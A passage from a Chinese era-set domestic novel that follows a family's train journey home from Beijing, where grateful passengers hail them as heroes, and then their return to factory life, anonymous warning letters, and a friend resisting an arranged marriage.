“都去都去。”何婉仪笑着应承,转头对姜海棠说,“到时候可别嫌我们人多闹腾。” 姜海棠连忙摆手:“怎么会,家里热闹才好啊。” 陆老爷子坐在藤椅上,看着满屋子的欢声笑语,布满皱纹的脸上露出欣慰的笑容。他轻轻敲了敲拐杖:“好了好了,都别闹了。良辰他们明天还要赶火车,让孩子们早点休息。” 夜深了,陆家渐渐安静下来。 姜海棠轻手轻脚地抱着熟睡的小桃子放在床上,轻轻替孩子掖了掖被角,俯身在小桃子的额头上落下一个轻吻。 转身时,她发现陆良辰不知何时站在了门口,手里拿着一个鼓鼓囊囊的信封。 “爸刚给的。”他压低声音说,“说是给咱们应急用。” 姜海棠接过信封,借着月光看到里面厚厚一叠全国粮票和工业券,还有几张崭新的大团结。她鼻子一酸,赶紧把信封塞回陆良辰手里:“这……这也太多了,我们不能要。我们自己的钱够用,这些留给家里用。” 陆良辰握住她的手,轻声道:“收下吧,这是爸妈的心意。等以后咱们条件好了,再好好孝敬他们。” 父母的心思她明白,不外就是觉得愧对他们,才会一再补贴。 第二天天还没亮,何婉仪就起来煮饺子。 按照北方的习俗,上车饺子回家面,寓意一路平安。 热气腾腾的饺子刚出锅,陆家老少都已经起床了。 小桃子穿着崭新的红色棉袄,像个喜庆的小福娃,乖乖坐在桌前吃饺子。 “慢点吃,别烫着。”时书岚细心地帮小桃子吹凉饺子,“要不要蘸点醋?” 小桃子摇摇头,小嘴塞得鼓鼓的,含糊不清地说:“大伯母,饺子好好吃!” 何婉仪又端来几个铝制饭盒,里面装满了早上才准备好的食物:“这些都是热的,我都用棉布包好了,能保温,你们中午和晚上吃,那些放凉的明天再吃。” 陆良辰接过沉甸甸的包裹,心里沉甸甸的。 他环顾四周,看着爷爷布满皱纹的脸,父母斑白的鬓角,看着大哥大嫂关切的眼神,看着几个侄子红红的眼眶,突然觉得喉头发紧。 “爷爷、爸、妈,大哥大嫂,我们先走了……” “让你大哥送你去车站吧,我们其他人就不送你们了。”陆老爷子说道。 可是,最终,一群小萝卜头还是跟着他们去了火车站。 火车站里人头攒动,广播里播放着激昂的革命歌曲。 陆良谨带着一群小萝卜头站在月台上,依依不舍地和陆良辰一家三口道别。 “到了就发电报。”陆良谨拍拍弟弟的肩膀,“工作上遇到困难,记得跟家里说。” 陆良辰重重点头:“好,大哥,以后家里要你多费心了,爷爷和爸妈都交给你,还有你和大嫂也要多保重身体。” 另一边,小桃子被几个哥哥团团围住。 陆卫国从兜里掏出一个木雕的小马:“这是我刻的,送给你。” 其他几个孩子也纷纷拿出准备好的礼物,有玻璃弹珠、彩色糖纸、甚至还有一本小人书。 小桃子抱着一堆礼物,眼睛亮晶晶的:“谢谢哥哥们!我一定好好保管!等我下次来的时候,也给你们带礼物哦!” 汽笛长鸣,列车即将启动。 陆良谨红了眼眶,将小桃子搂进怀里:“小桃子,你要照顾好爸爸妈妈哦,你们一定要好好的……” 小桃子郑重其事的点头:“大伯,您放心,小桃子不是三岁的小孩子了,肯定会好照顾好爸爸妈妈,大伯要帮小桃子照顾好太爷爷、爷爷、奶奶、二爷爷、二奶奶、大伯母、还有哥哥们喔!” 陆良谨让陆卫国照顾几个小的,自己帮着陆良辰他们把行李送上列车。 列车缓缓驶离站台,姜海棠透过车窗,看到陆家几个小孩子正在蹦蹦跳跳的挥手,小桃子也在拼命挥动小手手。 直到哥哥们变成一个个小黑点,小桃子眼泪巴巴的看着外面,显然难过的很。 “小桃子不哭,到了暑假,奶奶会带着哥哥们来看小桃子的。” 小桃子似乎被这话安慰到了,点点头。 昨天晚上睡的太晚,今天早上起的又太早,小桃子不多时候就睡着了。 姜海棠将小桃子安置在铺位上,给她盖上被子,轻轻擦去她眼角未干的泪痕。 陆良辰握住她的手:“你也睡会儿吧,路还长着呢。” “良辰,你说.……”她轻声开口,却又停住了。 “嗯?”陆良辰低头看她。 姜海棠摇摇头,嘴角却微微扬起:“没什么,就是觉得……真好。” 这一趟京城之行,她算是收获满满了,不光取得了陆家人的认可,而且还找到了唯一的亲人。 虽然要回到金城去,不能守在亲人身边,但心里却是满的。 “你是想问爷爷吧?我们出门的时候,他其实是在远处看着的。”陆良辰搂住姜海棠的肩膀说。 姜爷爷担心会影响到他们,因此,才会没有露面。 “我知道!”姜海棠讷讷地点头:“我手上的蝴蝶闪了一下!” 在大院里的时候,姜海棠手上的蝴蝶一闪而过,她猜测爷爷应该在某个位置看着他们,只不过,她回头看了,并没有看到人。 “我们终将有一日能回到京城,回到家里人身边的。等到了那时候,我跟你一起孝顺爷爷。” “那我们在金城要多多努力工作,为将来顺利调动到京城做准备。” 列车穿过隧道,忽明忽暗的光线在车厢里流转。 小桃子在睡梦中翻了个身,小手无意识地抓住妈妈的衣角。 “睡会儿吧,我知道你昨天晚上也没怎么睡。”催促姜海棠休息之后,陆良辰便躺在铺位上假寐。 陆良辰迷迷糊糊间,听见列车员推着餐车经过的叫卖声,听见其他乘客低声的交谈,还有姜海棠沉稳的呼吸声。 这些平凡的声音交织在一起,成了最安心的催眠曲。 不知过了多久,他被小桃子软糯的声音唤醒:“爸爸,妈妈,我饿啦。” 小丫头睡眼惺忪地坐在铺位上,头发乱蓬蓬的,像个毛茸茸的小猫咪。 姜海棠笑着理了理女儿的头发:“想吃什么?奶奶准备了好多好吃的。” “想吃芝麻糖!”小桃子眼睛一亮立即提出要求。 “不行,得先吃饭,吃完饭才可以吃芝麻糖。”陆良辰虽然宠爱小桃子,但对小桃子的不合理要求还是会反驳。 小桃子有点点失望,但还是乖巧的点点头。 “好,爸爸,我先吃饭。” 陆良辰从行李架上取下何婉仪准备的铝饭盒,“哎呀,还温着呢。吃起来正好。” 打开饭盒,白菜肉馅饺子的香气立刻弥漫开来。 小桃子欢呼一声,迫不及待地用手去抓,被爸爸轻轻拍了下手背:“用筷子。” 姜海棠看着父女俩你一个我一个地分饺子,突然想起什么,从包袱里摸出个玻璃罐:“差点忘了,还有这个呢。” 罐子里是腌得油亮亮的酱黄瓜,咬一口嘎嘣脆,正是解腻的好配菜。 陆良辰夹了一筷子,突然笑了:“妈总怕我们在路上饿着。” 正说着,隔壁铺位的大娘探头过来:“同志,你们这饺子真香,是在哪个站买的?” 第165章 热情 “是家里自己包的。”姜海棠笑着递过去两个,“您尝尝?” “那怎么好意思呢,你们这饺子可放肉了。”大娘显然眼馋,但并没有接。 “就给您尝个鲜!您别客气。” 大娘推辞不过,接过饺子咬了一口,顿时赞不绝口:“这手艺可真好!比国营饭店的饺子都好吃。” 小桃子骄傲地挺起小胸脯:“是我奶奶包的!还有我大伯母……” “哎哟,这小嘴甜的,一看就是个聪明的。”大娘被逗乐了,从兜里掏出个苹果塞给小桃子,“来,奶奶请你吃水果。” 就这样,漫长且寒冷的旅途因为热腾腾的饺子,因为陌生人的善意,变得温暖起来。 夜幕降临时,列车广播里响起嘹亮的《东方红》。 小桃子趴在车窗上,望着远处星星点点的灯火,突然问道:“妈妈,那些亮亮的地方,是不是也有小朋友在吃饺子呀?” 姜海棠把女儿搂进怀里:“是啊,每个亮着灯的地方,都有小朋友和他们的爸爸妈妈幸福的一家。” 陆良辰默默握住姜海棠的手,三人的影子映在车窗上,与窗外广袤的夜色融为一体。 大娘看着这一家三口,不由笑了。 “你们的感情真好,长得也好,难怪小丫头这么俊。”大娘不无羡慕地说。 姜海棠不好意思了,只能找了个话题问:“大娘,您也去金城?” “是啊,去走亲戚去,有个老姐姐,好些年没见过了。”大娘笑眯眯地说着。 “多走动走动也挺好的,大娘,您的老姐姐在金城什么地方啊?” “在金城机械厂,姑娘你听说过机械厂的毛厂长没有?那是我大外甥。” 姜海棠听到大娘居然是毛厂长的亲戚,还真有点惊讶。 她点点头:“知道的,金城机械厂是大厂,毛厂长是大厂领导,我们当然知道。” “金城机械厂是大厂,可不如金城纺织厂风光。也不知道,我这次去金城,有没有机会见到纺织厂那救了一火车人的一家三口人。我老婆子这辈子还没见过英雄嘞。” 大娘说着,眼里竟然带上了崇拜。 姜海棠听着,觉得大娘说的可能就是他们一家三口,因此,顾左右而言他。 可大娘端详着姜海棠一家三口,突然眯起眼睛:“我怎么觉得你们这一家子有点熟悉,好像哪里见过。“ 车厢里飘着煤烟和食物的混合气味,几个乘客正三三两两的聚在一起聊天、吹牛,大娘的声音引来了邻座几个人的目光。 姜海棠和陆良辰交换了一个眼神,陆良辰清了清嗓子正要开口,大娘突然拍了下膝盖。 “哎呀!你们可不就是报纸上说救了一火车人的一家三口?你们是不知道啊,我们那儿的人都说你们是大英雄嘞,知道我要去金城,还专门叮嘱我,让我去纺织厂看看你们嘞。“ 大娘连珠炮一样的说了一大堆,根本没有给姜海棠一家三口开口的机会。 他们救人的时候,并没有注意到,火车上竟然是有一名记者的,还把他们一家三口的照片给拍下来登报纸了。 看到报纸的时候,陆良辰觉得,报纸上等出来的照片是黑白的,还模模糊糊,只能隐约看见一家三口的轮廓,走在路上应该不至于被人认出来。 可没想到,居然会被一个大娘火眼金睛认出来。 “大娘您认错人了。”姜海棠轻声说,手指不自觉地绞紧了衣角。 陆良辰也微微侧身,挡住了正在认认真真啃着芝麻糖的小桃子。 “怎么会错呢!”大娘指着陆良辰身后的小桃子,“这么漂亮的小娃娃,和报纸上说的一模一样,我怎么可能认错?” 这声音像颗石子投入平静的湖面,很快,整个车厢都骚动起来。 一个戴眼镜的年轻人挤过来:“真的是你们!我那天就在那列火车上!得到过你们的帮助。”他的声音有些发抖,“要不是你们及时采取措施,那天我们一车人……” 显然,就算小半个月已经过去,但那一场灾难带给每个人的影响都还在。 有了这个年轻小伙子的指认,其他乘客更加确信了。 小桃子被突然的热闹吓到,往姜海棠的怀里缩了缩,手里的半块芝麻糖都不小心掉在了地上。 姜海棠连忙安抚地拍着女儿的背,陆良辰则弯腰捡起糖块,用随身的手帕仔细包好。 “英雄!真的是英雄一家!” 消息像长了翅膀,转眼传遍整列车厢。 很快,就有人来看望他们一家三口,来的时候,还给他们带各种各样的土特产,有人送来一包晒干的山楂片,有人塞来几个还温热的煮鸡蛋。一个穿着补丁衣服的老农从硬座车厢蹒跚着拎着一个竹筐,硬是塞给他们,听到里面咯咯叫的声音,众人才知道是一只活的老母鸡。 “这……这我们不能要……” 陆良辰连连推辞,但热情的乘客们根本不听。 那个穿着补丁衣服的大爷说:“那天,我儿子和儿媳妇带着小孙子也在车上,要不是你们,我们一家就家破人散了,这是我们家的一点点心意,我知道,比起你们的救命之恩不够,但我也就只带着这么点东西。” 老农一副你们不收我就不走的样子。 小桃子被这阵仗逗乐了,小家伙只觉得开心,根本不知道发生了什么。 有一个扎羊角辫的小姑娘送了小桃子一个漂亮的花发夹,小桃子可没有推辞的好习惯,在她看来,这和哥哥们送她礼物是一样的。 小桃子大大方方地收下礼物,然后给小姑娘送了一块最喜欢吃的芝麻糖。 接下来的旅程变得格外热闹。每到一站,都有新上车的乘客慕名来看“英雄一家”,就连列车员和乘警们都过来了好几趟,只为感谢他们。 小桃子成了大家的开心果,被这个抱抱,那个逗逗,收到的零食把座位底下都塞满了。 “妈妈,为什么大家都给我们好吃的呀?”小桃子仰着沾满糖渍的小脸问道。 姜海棠用手帕擦着女儿的脸蛋,柔声说:“因为……因为大家都很善良,大家都是很好很好的人!” 她看了眼陆良辰,两人都在对方眼中看到了同样的无奈和感动。 他们只不过是做了一点力所能及的事,可却得到了这么多人的感激,让他们如何能不感动? 当列车终于到达金城站时,他们一家三口几乎是落荒而逃。 至于那些礼物,他们觉得不应该收,打算让乘警帮忙给大家送回去,谁知道,热情的乘客们还是追着把礼物塞给他们。 有几个小伙子快步追着把所有的礼物都给他们搬到了车底下又匆匆上车。 看着火车启动,姜海棠和陆良辰知道,今天这些礼物是退不回去了,好在都是一些土特产,也不至于违规。 只是,他们发现,就下车这个功夫,好像礼物又多了不少。 “这……这可怎么好……”姜海棠抱着小桃子,看着脚下放着这么多的东西,不知所措。 陆良辰苦笑着摇头,忽然看见站台上目瞪口呆的小吴,连忙招手。 小吴看到两个人身边放着这么多零散的袋子篮子和筐子,十分惊讶。 陆厂长和姜工两个人,不是从京城回来的? 难道京城的人也这么不讲究,带着这么多零零散散的袋子、筐子? 陆良辰知道小吴在惊讶什么,只能无奈地笑道:“这是火车上的人送的,我们不收,他们下车直接把东西放在我们脚下就走了。” 小吴听得震惊:“厂长,现在的乘客都这么热情吗?竟然还送陌生人这么多东西?” 虽然好像大部分都是不太值钱的土特产,但这年月,能舍得把吃的东西送人的,是真的不多啊。 反正他没见过。 这边几个人正在说话,又听到一个熟悉的声音,回头看过去,正是毛厂长和他的司机小李。 “姜工,陆厂长,你们回来了?” 看到两个人的时候,毛厂长真是热情的不得了,就好像看到了久违的亲人一样。 陆良辰和姜海棠忙和毛厂长打招呼。 “你们这么多东西?等下让小李帮你们送出站,送到车上去。” 小李忙说:“好,厂长。” 这边话音未落,就听到毛厂长喊道:“小姨母,我在这里。” 姜海棠和陆良辰一起回头,可不就是车上那位热情的火眼金睛的大娘吗? 要不是这位大娘眼神好,他们还真不至于被人认出来。 大娘本来在车站里转着找人,看到了毛厂长,正好又看到了陆良辰和姜海棠,立即快步跑过来。 “哎呀,你们果然认得。” 毛厂长惊讶地问:“小姨母,你认得他们?” 大娘连连点头:“认得,认得,救人的英雄嘛,好多人都认得嘞。我这次回去,可能给一起的老姐妹们吹上大半年了,我和英雄上下铺一起到的金城。” 毛厂长这下更加惊讶了,还有这么巧合的事儿? “大娘,那我们就先回去了。”姜海棠是真害怕大娘的大娘们一吆喝,又被人听到。 毛厂长看着这一家三口落荒而逃的样子,还有点没闹明白怎么回事。 只能急急忙忙地拎着大娘的行李,吆喝小李帮忙搬地上放的许多东西。 “大外甥啊,你可不知道,这些东西都是车上的乘客给英雄送的,车上还有个小伙子,就是当初出事的火车上的人……” 大娘絮絮叨叨地说着,毛厂长终于知道了事情的原委。 第166章 匿名信 回厂的路上,小吴一边开车一边忍不住频频回头:“厂长,你们这是……成了大名人了啊!” 陆良辰揉着太阳穴:“这名人是真的不好当啊,那些人的热情,我有点消受不起。” “厂长,您办公室里,还有不少的信件呢。”小吴促狭说道:“你们这一次做了好事,感动了许多人。” 陆良辰:…… 回到熟悉的家属院,姜海棠长舒一口气。 她打开房门,屋里一切依旧,室内温度虽然不是很高,但也不至于冷着。 陆良辰说:“我把炉子生起来,屋里温度有些低。” 小吴忙说:“厂长,我来吧,这活我干得好。” 这边的动静显然惊动到了隔壁,孔大娘闻声赶来,手里还拿着锅铲:“可算回来了!这一路上累坏了吧?” 她看了眼堆满屋里的礼物,眼睛瞪得溜圆,“哎哟我的老天,你们这是包了一列火车回来的?这么多东西。” 姜海棠笑着解释原委,孔大娘听得直拍大腿:“可不是,最近我们厂里的人出去,都有面子,大家都说,我们厂长老厉害了。” 孔大娘热情地说着从报道登出来之后,金城里各处的反应,整体来说,就是在夸他们见义勇为。 这时候,小桃子揉着眼睛醒了:“妈妈,我饿……” “小桃子饿了啊,孔奶奶给你做好吃的。海棠,你和陆厂长快去歇着吧。”孔大娘挥着锅铲,“我锅里正炖着白菜粉条,一会儿给你们端来。不许推辞!就当是……欢迎英雄回家!” 姜海棠还要推辞,孔大娘已经风风火火地回去了。 饭菜的香味从隔壁院子飘过来,小桃子抽着小鼻子,眼睛亮了起来。 “要不,我们自己去打饭回来吧,也不能白吃大娘家的饭。”姜海棠说。 这年月吃食多金贵啊,可没有让人家帮忙做一家三口饭的道理。 “我等下去打点饭菜回来,孔大娘端过来的,我们也收下就是,要不回头礼物送过去,他们就不肯收了。” 姜海棠点头,开始收拾那些放得乱七八糟的东西。 打开篮子,看着腌得发亮的咸菜,扎得整整齐齐的干豆角,一把花生、一包绿豆,甚至还有一双绣着红花的鞋垫……姜海棠被深深地感动了。 这些可都是他们的一片心意,这些善良的人们,和他们素不相识,甚至,也不是他们当初救援的受益者,却拿出这么多的东西感谢他们。 姜海棠将东西珍而重之的一样样拿出来,摆放好。 最后,就只剩下那只还在咯咯叫的鸡了。 她看着这只老母鸡,才想着应该怎么处置,打了饭回来的陆良辰正好看到了。 “这只老母鸡怎么办?总不能养着吧?”陆良辰问。 家属院里,养鸡也不是不行,可是,他和海棠两个人要是真的养鸡,肯定会顾不过来。 “要不,就杀了吃肉吧。” “养着也不是不行,等到了春天,再买一只老母鸡回来养着,小桃子每天的鸡蛋就有了。”姜海棠迟疑了一下说。 “可是,我这边分身乏术,你要工作,还要照顾家里,太累了。”陆良辰心疼地说道。 “也就是每天撒两把鸡食的事儿,能忙过来。” 在乡下的时候,养鸡养猪可没少忙碌,不过是两只鸡,姜海棠还真不放在心里。 “那行吧,养鸡的事交给我,我每天早上喂了鸡再去上班。” 小桃子也忙对姜海棠说:“妈妈,妈妈,还有我!” 姜海棠捏了一下小桃子的小鼻子,宠溺地说道:“好,那以后养鸡的事情就交给爸爸和小桃子了。” “保证完成任务!”小家伙像模像样地行了一个军礼。 姜海棠一看,就知道,这是在京城的时候,跟着陆家几个国学的。 才将老母鸡连筐子一起放到外面,孔大娘就端了一个大碗过来了,她身后跟着大妮,大妮也端着一个大碗,里面装着黄灿灿的玉米面饼子。 “怎么还有一只鸡呢?”孔大娘惊讶地问。 “就是,我打算把这只鸡养起来,等过完年,再想法子买一只鸡回来一起养。” 孔大娘说:“你不提醒,我们都没想起来,后院里不能养猪,养两只鸡倒是没啥,等过完年,我们一起去买鸡回来养。” 他家里四个小孩子呢,要是养两只鸡,每天能给娃们补个鸡蛋了。 送走了孔大娘和大妮,一家三口吃了晚饭,打算早早休息。 “要不,你今天晚上就和小桃子睡吧。”陆良辰想着还要回去很麻烦,开口劝。 “还是回去吧,人多眼杂,的,说不定就传出什么流言蜚语了,你才当了厂长,要是被人抓住把柄不好。”姜海棠浅笑着说。 陆良辰知道推辞不过,只能由着姜海棠,谁知道,小桃子这小家伙,迈开小短腿,跟着姜海棠就走,一点都不管老父亲心里究竟怎么想。 “爸爸,我要和妈妈睡。” 看着姜海棠和小桃子走远,陆良辰觉得,自己有点可怜怎么办? 这边他还在感慨自己成了孤家寡人,没人疼没人爱的,有人敲门。 开门一看,是赵凯。 “你怎么来了?”陆良辰问。 “团长,我来给您汇报一下厂里的情况。”赵凯一脸严肃的说道。 陆良辰知道,能让赵凯这时候来,肯定是厂里这段时间,有人搞小动作了。 “进来我们慢慢说。” “小桃子呢?”赵凯到了屋里,看到只有陆良辰一个人,遂问。 陆良辰苦笑说道:“和我说再见,去隔壁了。” 赵凯看着陆良辰这幽怨的模样儿,哈哈大笑起来。 “要我说,你们这事儿还是早点定下来吧,到时候住在一起,就没这么麻烦了。” “这次回去,已经订了婚,我也算有媳妇了。” 赵凯看着陆良辰这嘚瑟的模样儿,真是想打人。 不过,现在不是打人的时候,他遂将厂里这段时间发生的一些事情给陆良辰做了汇报。 “李胜利那边,我们一直盯着,最近他外出了几次,还没有抓到确实的证据,不过,他应该近期还有行动。” “梁主席找人,想调回到棉纺厂来,不过被上面的领导拒绝了……” “这段时间,我们一共发现厂里存在问题的职工七个,正在等您回来了处理!” …… 耐心地听赵凯将这段时间存在问题的事情都说了一遍,陆良辰给赵凯倒了杯热水,才开始问具体情况。 “李胜利最近都去了哪些地方?你们可有调查清楚?” “有三次去了市工业局,去了一趟食品厂见梁和平,剩下两次,是去了一个院子,那院子里到底是什么人,我们还没有弄清楚。”赵凯说这话的时候,很自责。 陆良辰的手指轻轻敲击着桌面,纺织厂是省属企业,可是李胜利三次去了市工业局,多少有点不合理,尤其现在是过年期间,上班本来就简单。 还有那个神秘的院子,必须要盯着点,说不定,那就是重要线索。 陆良辰将自己的想法对赵凯说了。 “我们一直盯着,这段时间,也在想办法打听,但周围的人都说,那个院子是个破败了的院子,平日里根本没人居住。” “那就只能长期盯着了!”陆良辰蹙眉。 一个长期破败的院子,为什么李胜利要去?是为了传递消息,还是为了见到什么人? “梁和平那边呢?为什么想调回来?” “据说是和那边厂里的同志不能良好相处,所以申请调动回来。”赵凯撇撇嘴,“这借口找得不要太明显,我看他是舍不得棉纺厂这块肥肉。” 陆良辰思索着:“或许没有这样简单,他们可能有更大的图谋也不一定,你们继续盯着他们,我上班之后,去一趟省厅,务必要杜绝梁和平回来的可能。” 赵凯点点头,又补充道:“还有件事,最近我们厂里有个别人在传,说您这次火车上见义勇为是作秀,是为了给自己捞政治资本。” 陆良辰冷笑一声:“让他们说去。真的假不了,假的真不了。不过,如果是有人刻意引导,就是另外的问题了。” 送走赵凯后,陆良辰站在院子里,望着隔壁姜海棠房间的灯已熄灭,便也回到卧室熄灯休息。 第二天一早,陆良辰就来到了工厂。刚进办公室,秘书小张就抱着一大摞信件走了进来。 “厂长,这些都是最近收到的信件,有群众感谢信,也有……一些其他的。”小张欲言又止。 陆良辰随手拿起几封,大多是表达对他们见义勇为行为的敬佩。 但翻到下面,有几封信封上没有署名。他拆开一看,内容竟是警告他“不要多管闲事”“趁早收手”之类的。 “这些匿名信什么时候开始收到的?” “您刚离开就有了,我们也想追查是什么人寄过来的,不过没有追查到。” 陆良辰摇摇头:“先不用。” 看起来,有人着急了,就是不知道,那些着急的人,是不是和李胜利是一伙儿的。 第167章 抗争到底 陆良辰一大早就去上班了,姜海棠今天不用去厂里。 她也没有闲着,挽起袖子,将家里家外收拾得焕然一新,又把这次从京城带回来的各种吃喝仔细整理归置好。 原本还盘算着回来后得去供销社采购些生活用品和食材,可清点一番后发现,家里长辈提前准备的吃食,加上一路上那些热情善良的人赠送的,竟然足够他们吃上一周还有富余。 姜海棠便打消了去供销社的念头,反正时间还充裕,等真需要的时候再去也不迟。 不用着急采购,时间一下子就宽裕起来。 姜海棠想着年还没过完,正是走亲访友的好时候,于是她把给各家准备的礼物单独拿出来,打算挨个儿送过去,好好感谢大家平日里的关照。 首先,她来到了刘红梅家。 姜海棠从包里拿出一大盒从京城带来的京八件,那精美的包装盒,光是看着就透着股贵气。 孔大娘看到这精致的点心,眼睛都亮了,稀罕得不得了,双手小心翼翼地捧着,嘴里不停地念叨:“这么精贵的点心,我听说,以前只有皇宫里的人才能吃上一口,现在时代好了,我们普通老百姓也能尝尝了。” 姜海棠笑着说:“您老喜欢就好,就怕您不喜欢呢。” 孔大娘连连摆手,脸上满是感动:“你们这么大老远地惦记着给我们带东西,就是带回来一根鸡毛,我都是喜欢的,何况是这么好的点心,要不是你们带过来,我们还不知道什么时候才能吃到。” 在厂里,去过京城的人屈指可数,也就是陆厂长和姜海棠与他们家关系亲近,才能有这份口福。 这点心不说吃,就是这个盒子摆出来,也够那些老姐妹们羡慕很久了。 小心翼翼将点心盒子摆在柜子上,孔大娘像个好奇宝宝似的,一连串地问出自己对京城的好奇。 “海棠啊,你这次去京城,去天安门了没有啊?你看升旗了吗?是不是看得热泪盈眶?” 姜海棠耐心十足,把自己在京城的经历一一道来。 “大娘,我们去了,天不亮就去了,京城和我们这边一样冷,大半夜过去,小桃子都差点冻哭了,不过,看着确实让人心情激荡……等咱们厂里效益越来越好,说不定将来您老也能去一趟京城。” 她详细描述着天安门广场的宏伟,升旗时的庄严肃穆,还有小桃子在寒风中瑟瑟发抖却依然被壮观场面震撼的模样。 孔大娘听得入神,不时发出惊叹声,脸上满是向往。 最后,孔大娘意犹未尽,想起姜海棠即将上班的事。 “海棠啊,你就要上班去了吧,学校还没开学,你上班的时候,把小桃子送过来就行。” 姜海棠没有推辞,满心感激地道谢。 “那就太谢谢大娘您了,我明天开始上班,有好些计划要完成呢,也不能总带着小桃子。” 孔大娘爽朗地笑着,不无心疼地说:“小桃子是英雄的女儿,她亲生父亲是为了国家做出贡献奉献生命的人,我们都应该帮一把。” 此时的小桃子,早就跑去找院里的哥哥姐姐们玩了。 她把从京城带来的小玩意儿拿出来,像个小大人似的分给大家。 其实,都不是什么稀罕物件,不过就是一根花头绳,一个玻璃弹珠,但孩子们却开心得不得了,围着小桃子又笑又闹,对她也更亲近。 从刘红梅家出来,姜海棠又来到谭书记家。 不巧谭书记不在,只有谭书记的老婆带着小孙子在家。 谭书记的老婆五十好几的年纪,看着慈眉善目,待人十分随和。 见到姜海棠上门,热情地把她迎进屋里,拉着她的手嘘寒问暖。 两人坐在屋里,从生活琐事聊到厂里的发展,越聊越投机,倒像是认识多年的老友。 谭书记的老婆还热情地留姜海棠吃饭,姜海棠怕麻烦人家,婉言拒绝了。 离开谭书记家,姜海棠心里惦记着康小夏。 这段时间她不在,实在担心康小夏被康家那拎不清的一家子欺负。 康小夏刚下班,在宿舍门口远远看到姜海棠,眼睛瞬间亮了起来,高兴地小跑过去,一把拉住姜海棠的手,语气里满是关切。 “海棠你回来了?你去了京城还好吧?” 她心里一直担心,陆厂长的家里人瞧不上姜海棠。 在她看来,虽然姜海棠优秀能干,但陆家是京城的,而且,听说还不是一般人家,难免会有优越感,看不上西北姑娘也是有可能的。 姜海棠笑着安抚:“走,去我家里,咱们边做饭边说话。” 说着,拉着康小夏就往家属院走。 一到家,姜海棠就迫不及待地问起康小夏过年的情况。 康小夏神情有些黯淡:“过年的时候,我哥过来找我,让我回家过年,我没去。” 姜海棠皱了皱眉:“你没去他们能依着你?” 康小夏狡黠地笑了笑:“我老早就猜到了,过年的时候,他们肯定要以团圆为借口让我回家,我索性主动和厂办申请三十晚上值班。” 姜海棠听康小夏这么说,笑了,这小姑娘,还挺聪明的。 大过年的不回家过年,多少要被人讲究几句,毕竟,大家都会觉得,天下无不是之父母。 父母就算做错了,儿女如果连过年都不回家就是不对。 但为厂子值班,走到哪里都能说得过去。康家人就算心里不满意,也只能憋着。 “那你后面值完班没回去看看?” “回去了,还专门送了年礼过去,海棠你放心,我不会让他们有编排我的机会。” 康小夏的心情并不是很好,可见,过年的时候回去,应该也并不是很愉快。 “反正,就只能这样了,维持表面上的情分,逢年过节送一份礼过去,别的肯定没有了。”康小夏语气黯然地说:“我还找了赵大娘帮我盯着,省得什么时候被算计了,我都不知道。” “过年你回去,发生什么事儿了吗?” “他们心心念念地想着怎么用我为家里创造价值呢。这一次,又给我介绍了一个对象,是肉联厂的,今年三十岁,死了老婆,有两个孩子,大的今年十岁,小的今年六岁,老婆是去年生老三没了的。” “上次是个傻子,这次倒是比上一次良心一点点。”康小夏说这话的时候,语气里都是讥讽。 后来,她打听过了,对方出的彩礼高,有一千五百块呢,还说能帮着家里多弄肉。 就为了这么点利益! “你和赵凯接触得怎么样了?” 听到姜海棠提起赵凯,康小夏脸上带了几分羞涩。 “他对我很好。” “要是你们接触得还行,不如让赵凯提亲。” 康小夏却摇了摇头:“不用那么麻烦,反正我现在在外面生活,等到了年龄,直接领证就行。至于到年龄之前这些时间,我不相信他们还能牛不喝水强按头,要是他们真的敢,我就敢大闹。” 如果让赵凯提亲,家里肯定要提出许多不合理的要求,她不想继续惯着家里了,该给的给,不该给的,一点都不多给。 她的眼神里透着一股倔强,显然已经做好了抗争到底的准备。 “你有主张就行。”姜海棠拍了拍她的手,给予鼓励。 康小夏不想再聊家里的烦心事,便把话题转到姜海棠身上:“海棠姐,陆厂长家里人对你好不好啊?” 姜海棠一说起陆家人,脸上就洋溢着幸福的笑容,那笑容从心底自然流露:“他们家里人都挺好的,对我好,对小桃子也好。” 康小夏打趣道:“哎呦,看出来了,全身都像是从蜜罐子里跳出来的一样,甜腻腻的。” 姜海棠被她逗乐,笑着捏了捏她的脸。 接着,姜海棠问起康小夏去赵家的安排:“你什么时候去赵家?” “大概五一吧,如果五一不行,就等国庆节的时候去。这段时间你也知道,赵凯挺忙的,顾不上回家。”康小夏回答道。 两人一边聊天,一边在厨房里忙碌着。 姜海棠负责掌勺,康小夏在一旁帮忙打下手,说说笑笑间,一顿丰盛的晚饭就做好了。 正准备去叫小桃子回家吃饭,小桃子自己就蹦蹦跳跳地回来了,后面还跟着几个小伙伴。 原来是孔大娘不放心小桃子一个人回来,让家里几个娃送小桃子回来。 姜海棠招呼几个孩子吃饭,可他们说家里的饭已经做好了,急匆匆回去了。 才把小桃子安顿好,陆良辰也下班回来了。 “陆厂长好。”康小夏连忙站起身打招呼。 “你是客人,不用这么拘束。正好,等下赵凯也过来,吃完饭,让他送你回去。”陆良辰一边洗手,一边随口说道。 姜海棠有些惊讶,忙问:“赵凯也过来吗?早知道我多做点饭了。” “他说大过年的不能空手上门,去食堂打红烧肉去了。”陆良辰解释道。 话音刚落,就听到门外传来脚步声,赵凯到了。 他手里提着两个饭盒,脸上带着笑容:“今天食堂有糖醋小丸子,小桃子喜欢吃,我就顺手打了一份。” 小桃子听到这话,开心得眼睛都亮了,拍着小巴掌欢呼起来:“谢谢赵叔叔,小桃子喜欢吃小丸子。” 第168章 袜子机 “小桃子喜欢就好,以后赵叔叔看到了,还给我们小桃子买。”赵凯满脸宠溺地看着小桃子。 他以前跟着陆良辰,和小桃子的父亲关系也十分熟悉,因此对小桃子的感情也不一般,虽不至于像是亲生女儿一样,但也像亲侄女一般放在心上。 晚饭时,大家围坐在桌前,热热闹闹地吃着饭,欢声笑语不断。 吃完饭,赵凯和陆良辰去隔壁院子说话,姜海棠一看这情形,就知道两人肯定有要紧事商量。 她从屋里拿出从京城带来的糕点,递给康小夏:“知道你喜欢吃这些,专门给你带的。” “这么大老远的,带着多辛苦啊。”康小夏嘴上客气着,手却已经迫不及待地接过糕点。 端详着精美的点心盒子,赞叹道:“这京城的点心看着和我们这里的就是不一样。” 姜海棠笑着说:“等回头我不忙的时候,给你做点心吃,保证比这个还好吃。” “别做了,麻烦,光是买材料就费劲。” 康小夏虽然喜欢吃点心这一类的甜食,但也知道做点心不是件容易事,光是凑齐材料就很麻烦。 “周末你陪着我去百货大楼,我想买些毛线。”姜海棠换了个话题。 “天气都快热了,怎么还想着织毛衣啊?再说,咱们厂里的羊毛衫就不错,何必自己织?”康小夏有些疑惑。 